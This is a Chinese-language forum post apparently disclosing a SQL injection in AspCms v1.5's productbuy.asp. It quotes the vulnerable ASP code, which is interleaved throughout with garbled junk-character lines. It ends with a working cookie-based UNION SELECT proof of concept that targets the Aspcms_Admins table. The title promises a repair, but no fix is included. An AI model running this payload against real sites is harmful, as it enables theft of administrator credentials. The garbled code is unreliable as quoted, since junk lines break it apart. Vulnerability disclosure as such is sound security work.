AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
" W3 w9 D) \6 `! u. ~5 d, ?3 u
<%
  l" ~- U; }1 o" z! ^2 {+ Y# K  }
if action = "buy" then
* `4 X/ O- R; t4 T
$ U- O  ?: Q: c        addOrder()

- ]! ~) r  X9 ^% Uelse

        echoContent()

end if

% n, t) W& Z; F
" b& E% ~& L& _# \
0 B1 c$ _* a# _5 K% N……略过
8 f: b2 t4 D6 h# u
) i0 ?, u- a; G
( l: C/ C/ D5 b; ]
Sub echoContent()
7 I! o8 i; `  Y% ?8 R) O0 c
        dim id
$ x4 p0 ^* c7 _3 O6 a6 N
) u# q- I) F, u$ q, P        id=getForm("id","get")
% `2 z% Q# O( z$ `; {; K3 S& ^
2 u% `, Y! K/ |# E$ I! D        

0 r* l9 q/ \% Z6 Y( z1 s5 d" ]        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

6 _3 f" J. ?4 X4 }# ?+ ?) g7 O' G5 E        
# F0 V; a! ]7 K# u7 T# r( l6 m# E
$ C' _) T5 ~! p4 S) e8 v        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
$ L/ e! d7 O( t- V0 Y6 H
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

$ P, a% g7 ]# X  L+ I: [% _        Dim templatePath,tempStr
+ N- C; P( J% G& Z) ^/ ?+ u8 ~
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"

  m( F7 T1 H' |) y" m( b, k
- ?( T+ z% `; Z0 _* g
& ]: Y9 A0 f) ^& }) O/ _9 n2 i        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

% H  p; ^# }# X/ Z2 @( Y        selectproduct=rsObj(0)
( |! @, W& ]0 b" L+ u, R
        
: U0 v" z4 I6 [* ]* K
( @0 `# \6 K6 z5 ?        Dim linkman,gender,phone,mobile,email,qq,address,postcode
, j9 |9 ]$ x; s! l$ l! q( Y  Z6 m! n
1 T* T( X6 s5 d) f+ a" l7 h  W        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
$ ?$ ~1 \! K9 e9 f' i  j
        if rCookie("loginstatus")=1 then  
6 j' M, w- R9 q& g
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")

; O) K7 }: K+ `4 R+ a- X                gender=rsObj("gender")

8 f; P3 ~; p: @5 }% K                phone=rsObj("phone")
8 c6 P. G0 |' _) ]' {
                mobile=rsObj("mobile")
3 F: W" l: i' L+ Y3 d# B% H, W
8 b- _6 D: j5 [3 a2 J& e2 B$ a) ]                email=rsObj("email")

                qq=rsObj("qq")

6 l: H% O, v2 L                address=rsObj("address")

0 L9 r( F: V8 n+ {3 o                postcode=rsObj("postcode")
" s- F: i. A2 G% x" l
        else
8 l; C# F  w& H9 X8 v4 w$ ]1 g% L
" _) ]! I9 e2 W                gender=1

4 G) a6 k( F& A' N6 C        end if

        rsObj.close()

               
+ O& {, A, W' e% [. i
        with templateObj

0 _1 L* D" P7 F8 ~; U! j                .content=loadFile(templatePath)        
6 h/ K' K& B! ^  U2 f8 j
                .parseHtml()
2 d7 h1 K- E0 d* V
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
* v; F* E5 Y( u# y
# y8 Q+ k' f# R- f5 `4 Y4 q1 y                .content=replaceStr(.content,"[aspcms:gender]",gender)               
! b+ t% M- Z; S+ i! ^% @' A
                .content=replaceStr(.content,"[aspcms:phone]",phone)               

7 m& u$ |1 T( C4 u; W0 P- X                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
7 Z& p5 s5 |. T% v+ C$ g+ Y" K( `
                .content=replaceStr(.content,"[aspcms:email]",email)                        
1 Q7 P7 j8 B# L2 U
  }9 m5 ^; g3 w& P) H9 y                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

+ |! ~  R+ s* j% ^: w- ?! r6 @                .content=replaceStr(.content,"[aspcms:address]",address)                        
( t- O% o: \4 q# K. ~6 G+ O
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

& v* P, _5 V- R                .parseCommon()                 

" g& g* }( @" `$ E' N/ W* l                echo .content
6 q/ E( Z: R- l; n7 U5 @& R- d" H; J
' A5 o9 |1 J7 U( ~) y. M% ?7 f        end with
  t+ g9 C: W# C1 u
        set templateobj =nothing : terminateAllObjects

8 Z+ V: \* p$ e2 NEnd Sub
漏洞很明显，没啥好说的
& E0 B' s& L, v4 U( |poc：

3 W8 Y# e% f, S. B3 Ojavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​